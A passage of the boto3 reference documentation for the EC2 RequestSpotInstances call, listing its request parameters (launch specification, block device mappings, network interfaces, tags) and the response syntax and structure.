'Value': 'string' + }, + \] + }, + \], + InstanceInterruptionBehavior\='hibernate'|'stop'|'terminate' +) + +Parameters + +* **AvailabilityZoneGroup** (_string_) -- + + The user-specified name for a logical grouping of requests. + + When you specify an Availability Zone group in a Spot Instance request, all Spot Instances in the request are launched in the same Availability Zone. Instance proximity is maintained with this parameter, but the choice of Availability Zone is not. The group applies only to requests for Spot Instances of the same instance type. Any additional Spot Instance requests that are specified with the same Availability Zone group name are launched in that same Availability Zone, as long as at least one instance from the group is still active. + + If there is no active instance running in the Availability Zone group that you specify for a new Spot Instance request (all instances are terminated, the request is expired, or the maximum price you specified falls below current Spot price), then Amazon EC2 launches the instance in any Availability Zone where the constraint can be met. Consequently, the subsequent set of Spot Instances could be placed in a different zone from the original request, even if you specified the same Availability Zone group. + + Default: Instances are launched in any available Availability Zone. + +* **BlockDurationMinutes** (_integer_) -- + + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + The duration period starts as soon as your Spot Instance receives its instance ID. At the end of the duration period, Amazon EC2 marks the Spot Instance for termination and provides a Spot Instance termination notice, which gives the instance a two-minute warning before it terminates. + + You can't specify an Availability Zone group or a launch group if you specify a duration. + + New accounts or accounts with no previous billing history with AWS are not eligible for Spot Instances with a defined duration (also known as Spot blocks). + +* **ClientToken** (_string_) -- Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Run_Instance_Idempotency.html) in the _Amazon EC2 User Guide for Linux Instances_ . +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceCount** (_integer_) -- + + The maximum number of Spot Instances to launch. + + Default: 1 + +* **LaunchGroup** (_string_) -- + + The instance launch group. Launch groups are Spot Instances that launch together and terminate together. + + Default: Instances are launched and terminated individually + +* **LaunchSpecification** (_dict_) -- + + The launch specification. + + * **SecurityGroupIds** _(list) --_ + + One or more security group IDs. + + * _(string) --_ + * **SecurityGroups** _(list) --_ + + One or more security groups. When requesting instances in a VPC, you must specify the IDs of the security groups. When requesting instances in EC2-Classic, you can specify the names or the IDs of the security groups. + + * _(string) --_ + * **AddressingType** _(string) --_ + + Deprecated. + + * **BlockDeviceMappings** _(list) --_ + + One or more block device mapping entries. You can't specify both a snapshot ID and an encryption value. This is because only blank volumes can be encrypted on creation. If a snapshot is the basis for a volume, it is not blank and its encryption status is used for the volume encryption status. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the instance is optimized for EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + Default: false + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + + * **ImageId** _(string) --_ + + The ID of the AMI. + + * **InstanceType** _(string) --_ + + The instance type. + + * **KernelId** _(string) --_ + + The ID of the kernel. + + * **KeyName** _(string) --_ + + The name of the key pair. + + * **Monitoring** _(dict) --_ + + Indicates whether basic or detailed monitoring is enabled for the instance. + + Default: Disabled + + * **Enabled** _(boolean) --_ **\[REQUIRED\]** + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + * **NetworkInterfaces** _(list) --_ + + One or more network interfaces. If you specify a network interface, you must specify subnet IDs and security group IDs using the network interface. + + * _(dict) --_ + + Describes a network interface. + + * **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + * **DeleteOnTermination** _(boolean) --_ + + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + * **Description** _(string) --_ + + The description of the network interface. Applies only if creating a network interface when launching an instance. + + * **DeviceIndex** _(integer) --_ + + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + * **Groups** _(list) --_ + + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + * _(string) --_ + * **Ipv6AddressCount** _(integer) --_ + + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + * **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **SubnetId** _(string) --_ + + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + * **InterfaceType** _(string) --_ + + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + + * **Placement** _(dict) --_ + + The placement information for the instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + \[Spot Fleet only\] To specify multiple Availability Zones, separate them using commas; for example, "us-west-2a, us-west-2b". + + * **GroupName** _(string) --_ + + The name of the placement group. + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for Spot Instances. + + * **RamdiskId** _(string) --_ + + The ID of the RAM disk. + + * **SubnetId** _(string) --_ + + The IDs of the subnets in which to launch the instance. To specify multiple subnets, separate them using commas; for example, "subnet-1234abcdeexample1, subnet-0987cdef6example2". + + * **UserData** _(string) --_ + + The Base64-encoded user data for the instance. User data is limited to 16 KB. + +* **SpotPrice** (_string_) -- The maximum price per hour that you are willing to pay for a Spot Instance. The default is the On-Demand price. +* **Type** (_string_) -- + + The Spot Instance request type. + + Default: one-time + +* **ValidFrom** (_datetime_) -- + + The start date of the request. If this is a one-time request, the request becomes active at this date and time and remains active until all instances launch, the request expires, or the request is canceled. If the request is persistent, the request becomes active at this date and time and remains active until it expires or is canceled. + + The specified start date and time cannot be equal to the current date and time. You must specify a start date and time that occurs after the current date and time. + +* **ValidUntil** (_datetime_) -- + + The end date of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T\*HH\* :_MM_ :_SS_ Z). + + * For a persistent request, the request remains active until the ValidUntil date and time is reached. Otherwise, the request remains active until you cancel it. + * For a one-time request, the request remains active until all instances launch, the request is canceled, or the ValidUntil date and time is reached. By default, the request is valid for 7 days from the date the request was created. +* **TagSpecifications** (_list_) -- + + The key-value pair for tagging the Spot Instance request on creation. The value for ResourceType must be spot-instances-request , otherwise the Spot Instance request fails. To tag the Spot Instance request after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id626)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id628)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **InstanceInterruptionBehavior** (_string_) -- The behavior when a Spot Instance is interrupted. The default is terminate . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SpotInstanceRequests': \[ + { + 'ActualBlockHourlyPrice': 'string', + 'AvailabilityZoneGroup': 'string', + 'BlockDurationMinutes': 123, + 'CreateTime': datetime(2015, 1, 1), + 'Fault': { + 'Code': 'string', + 'Message': 'string' + }, + 'InstanceId': 'string', + 'LaunchGroup': 'string', + 'LaunchSpecification': { + 'UserData': 'string', + 'SecurityGroups': \[ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + \], + 'AddressingType': 'string', + 'BlockDeviceMappings': \[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + \], + 'EbsOptimized': True|False, + 'IamInstanceProfile': { + 'Arn': 'string', + 'Name': 'string' + }, + 'ImageId': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KernelId': 'string', + 'KeyName': 'string', + 'NetworkInterfaces': \[ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': \[ + 'string', + \], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': \[ + { + 'Ipv6Address': 'string' + }, + \], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': \[ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + \], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + \], + 'Placement': { + 'AvailabilityZone': 'string', + 'GroupName': 'string', + 'Tenancy': 'default'|'dedicated'|'host' + }, + 'RamdiskId': 'string', + 'SubnetId': 'string', + 'Monitoring': { + 'Enabled': True|False + } + }, + 'LaunchedAvailabilityZone': 'string', + 'ProductDescription': 'Linux/UNIX'|'Linux/UNIX (Amazon VPC)'|'Windows'|'Windows (Amazon VPC)', + 'SpotInstanceRequestId': 'string', + 'SpotPrice': 'string', + 'State': 'open'|'active'|'closed'|'cancelled'|'failed', + 'Status': { + 'Code': 'string', + 'Message': 'string', + 'UpdateTime': datetime(2015, 1, 1) + }, + 'Tags': \[ + { + 'Key': 'string', + 'Value': 'string' + }, + \], + 'Type': 'one-time'|'persistent', + 'ValidFrom': datetime(2015, 1, 1), + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + }, + \] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of RequestSpotInstances. + + * **SpotInstanceRequests** _(list) --_ + + One or more Spot Instance requests. + + * _(dict) --_ + + Describes a Spot Instance request. + + * **ActualBlockHourlyPrice** _(string) --_ + + If you specified a duration and your Spot Instance request was fulfilled, this is the fixed hourly price in effect for the Spot Instance while it runs. + + * **AvailabilityZoneGroup** _(string) --_ + + The Availability Zone group. If you specify the same Availability Zone group for all Spot Instance requests, all Spot Instances are launched in the same Availability Zone. + + * **BlockDurationMinutes** _(integer) --_ + + The duration for the Spot Instance, in minutes. + + * **CreateTime** _(datetime) --_ + + The date and time when the Spot Instance request was created, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T\*HH\* :_MM_ :_SS_ Z). + + * **Fault** _(dict) --_ + + The fault codes for the Spot Instance request, if any. + + * **Code** _(string) --_ + + The reason code for the Spot Instance state change. + + * **Message** _(string) --_ + + The message for the Spot Instance state change. + + * **InstanceId** _(string) --_ + + The instance ID, if an instance has been launched to fulfill the Spot Instance request. + + * **LaunchGroup** _(string) --_ + + The instance launch group. Launch groups are Spot Instances that launch together and terminate together. + + * **LaunchSpecification** _(dict) --_ + + Additional information for launching instances. + + * **UserData** _(string) --_ + + The Base64-encoded user data for the instance. + + * **SecurityGroups** _(list) --_ + + One or more security groups. When requesting instances in a VPC, you must specify the IDs of the security groups. When requesting instances in EC2-Classic, you can specify the names or the IDs of the security groups. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **AddressingType** _(string) --_ + + Deprecated. + + * **BlockDeviceMappings** _(list) --_ + + One or more block device mapping entries. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on 